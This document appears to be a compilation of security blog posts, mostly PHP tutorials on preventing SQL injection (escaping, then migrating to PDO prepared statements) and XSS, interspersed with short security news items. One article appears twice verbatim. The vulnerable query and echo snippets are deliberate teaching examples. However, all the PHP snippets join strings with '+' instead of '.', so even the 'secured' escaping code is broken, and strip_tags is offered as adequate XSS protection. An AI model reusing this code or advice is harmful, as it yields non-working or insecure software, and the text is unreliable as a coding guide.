In the first article in this series I talked about how to protect PHP applications that used the MySQL API directly from SQL injection attacks. In this blog post I’ll show you how to migrate your MySQL API code to a database abstraction library like PDO. This move will give you both portability as well as some performance boost as you move to prepared statements.

Let’s start with some simple database access code using the MySQL API directly.

<?php
$sql = "SELECT * FROM user WHERE ";
$sql .= "user_id='"+$_GET['user']+"' ";
$sql .= "AND password='"+$_GET['password']+"'";
$resp = mysql_query( $sql );
?>

Ugh, ok, so the first thing to do here is to move it over to using the PDO library:

<?php
$stmt = $dbh->prepare("SELECT * FROM user WHERE user_id=? AND password=?");
$stmt->bindParam(1, $_GET['user']);
$stmt->bindParam(2, $_GET['password']);
$stmt->execute();
?>

See how much cleaner that is already? And this has given us not only database portability, but also SQL injection protection and database efficiency through prepared statements all in one shot.

Now we can do even a little better by using named parameters:

<?php
$stmt = $dbh->prepare("SELECT * FROM user WHERE user_id=:user AND password=:password");
$stmt->bindParam('user', $_GET['user']);
$stmt->bindParam('password', $_GET['password']);
$stmt->execute();
?>

This way it doesn’t matter what order the parameters go in the query, they always go into the right spots in the query when they are executed.

So not bad, huh? The PDO library makes database access easier to read and maintain, more efficient, less susceptible to SQL injection attacks and portable between database vendors. How cool is that!

Way back when the issue with DLLs was in versioning. Now Microsoft has a fresh new security issue with DLLs. Which just from a developers take looks pretty bad. CNet estimates that dozens of apps could be effected, including obscure applications like Word, PowerPoint, Firefox, Chrome and Photoshop. For it's part Microsoft is still being a little cagey about which apps are vulnerable.

To my eyes, it doesn't look like the primary issue here is with the applications themselves. This seems to be a vulnerability built right into the operating system.

In the first article in this series I talked about how to protect PHP applications that used the MySQL API directly from SQL injection attacks. In this blog post I’ll show you how to migrate your MySQL API code to a database abstraction library like PDO. This move will give you both portability as well as some performance boost as you move to prepared statements.

Let’s start with some simple database access code using the MySQL API directly.

<?php
$sql = "SELECT * FROM user WHERE ";
$sql .= "user_id='"+$_GET['user']+"' ";
$sql .= "AND password='"+$_GET['password']+"'";
$resp = mysql_query( $sql );
?>

Ugh, ok, so the first thing to do here is to move it over to using the PDO library:

<?php
$stmt = $dbh->prepare("SELECT * FROM user WHERE user_id=? AND password=?");
$stmt->bindParam(1, $_GET['user']);
$stmt->bindParam(2, $_GET['password']);
$stmt->execute();
?>

See how much cleaner that is already? And this has given us not only database portability, but also SQL injection protection and database efficiency through prepared statements all in one shot.

Now we can do even a little better by using named parameters:

<?php
$stmt = $dbh->prepare("SELECT * FROM user WHERE user_id=:user AND password=:password");
$stmt->bindParam('user', $_GET['user']);
$stmt->bindParam('password', $_GET['password']);
$stmt->execute();
?>

This way it doesn’t matter what order the parameters go in the query, they always go into the right spots in the query when they are executed.

So not bad, huh? The PDO library makes database access easier to read and maintain, more efficient, less susceptible to SQL injection attacks and portable between database vendors. How cool is that!

ITWorld has just published a short Q&A with Richard Clarke focusing on Cyberwarfare and how companies can prepare.

This isn't strictly about security, though I suppose it could result from a security breach. The military lost an MQ-8 drone and then found it in restricted airspace over Washington D.C.. Ah well, say hello to our new robot overlords. Happy Friday everybody!

The Washigton Post has an excellent article today on how a USB drive was used to compromise military security. The article is light on technical details but it does act as a good reminder on the importance of physical security, as well as having secure operating systems.

PHP and MySQL are a natural pair. From the very beginning of PHP the language has had direct bindings to the MySQL API and a lot of applications still use those functions (i.e. mysql_connect, mysql_query, etc.) today. PHP has improved a lot and there are certainly better alternatives to using those direct API functions which I'll explore in subsequent articles. But if you have one of these legacy applications that uses the direct APIs you can do a lot to secure it from SQL injection without doing a massive port to one of the newer, better, PHP database APIs.

So, what's the problem with using this direct method? The issue comes in how we construct SQL queries. Here is a classic example:

<?php
$sql = "SELECT * FROM user WHERE ";
$sql .= "user_id='"+$_GET['user']+"' ";
$sql .= "AND password='"+$_GET['password']+"'";
$resp = mysql_query( $sql );
?>

Now leaving aside for the moment that the password field is unencrypted cleartext the primary issue here is that the query is vulnerable to SQL injection. The hacker could easily send a password string that terminated the single quote and added an OR condition that was always satisfied. That would give them instant access to the system because the query would always return the user record regardless of whether the correct password was provided.

The easiest way to secure your application from this type of attack is to use the mysql_real_escape_string method. This method escapes the string that's used in the SQL and thus protects against input that has malicious SQL embedded in it. Shown below is the same code fragment but with the mysql_real_escape_string method used.

<?php
$sql = "SELECT * FROM user WHERE ";
$sql .= "user_id='"+mysql_real_escape_string($_GET['user'])+"' ";
$sql .= "AND password='"+mysql_real_escape_string($_GET['password'])+"'";
$resp = mysql_query( $sql );
?>

Now some of the applications I've seen have had custom versions of mysql_real_escape_string that escaped out quotes. I really don't see the point of doing that. The mysql_real_escape_string does the job the right way. It's secure, it's maintained, and you should use it.

Having said all this, using the MySQL API directly is not really the best option. If you have the time you should use one of the newer database APIs for the following reasons:

• Database Portability - The MySQL functions are bound to MySQL only. Using an abstract database interface allows you to connect to any supported database using the same code.
• Replacement Operators - You place ? characters in your query string wherever you need parameters, then you pass in an array of parameters and they automatically fill those slots. That makes the query code a lot easier to read and maintain.
• SQL Injection Security - If you use replacement operators the database abstraction layer will automatically do the parameter escaping for you, thus saving you the hassle of doing it yourself and keeping you safe from SQL injection.
• Prepared Statements - You can prepare a SQL statement for execution, then use that statement multiple times in an efficient batch mode. That allows the database driver to cache the compiled SQL statement which gives you a real performance boost.

This blog post shows you how to secure the MySQL/PHP application you have today. In the follow-on blog post next week I'll show you how to convert this code to use one of PHPs database abstraction layers to get all of the advantages I enumerated above.

The guys at Python Security are doing an awesome job not only categorizing types of security attacks, but also specific vulnerabilities in Python packages. If you are involved in security and work in Python I hope you will help out their site and contribute your expertise on the Wiki.

Anyone running a ColdFusion server will want to know about this vulnerability. It allows an attacker to get access to any file on the server without authentication. There is a patch for versions 8 and 9 of the CF server.

In the coming months we will be putting more information onto the security blog in a relevant form for front-line engineers. We're happy to take any suggestions you have for what topics we should cover. In this entry we look at how to secure PHP applications from cross-site scripting.

A very common source of PHP security issues in cross site scripting (XSS) attacks based on using unfiltered user input in PHP driven HTML pages. Here is an example of a simple web form:

<html><body>
	<form action="showme.php" method="POST"> 
	<textarea name="mytext"></textarea>
	<input type="submit">
	</form>
</body></html>

Here is the associated showme.php page with the XSS security issue:

<html><body>
<?php echo( $_POST['mytext'] ) ?>
</body></html>

This code allows an attacker to put anything he wants on the page, new tags, and of course, Javascript of his own design.

A simple way to secure the code is to use the PHP strip_tags function:

<html><body>
<?php echo( strip_tags( $_POST['mytext'] ) ) ?>
</body></html>

This will strip any HTML out of posted variable, thus negating any possibility of injected tags or attributes. You can loosen up this filtering by adding a second parameter to strip_tags with a list of allowed tags. However there are issues with the second parameter to strip_tags that you should be aware of.

It is important to understand how to validate input within a context. In this case I've simplified it by outputting HTML. But if you are putting the text into CSS or Javascript, you will need to understand what potential there is for adding malicious scripts in those contexts, and it won't be as easy as simply removing tags. Perhaps more on that in a followup blog.

We have more information on XSS attacks in PHP on our Vulncat site.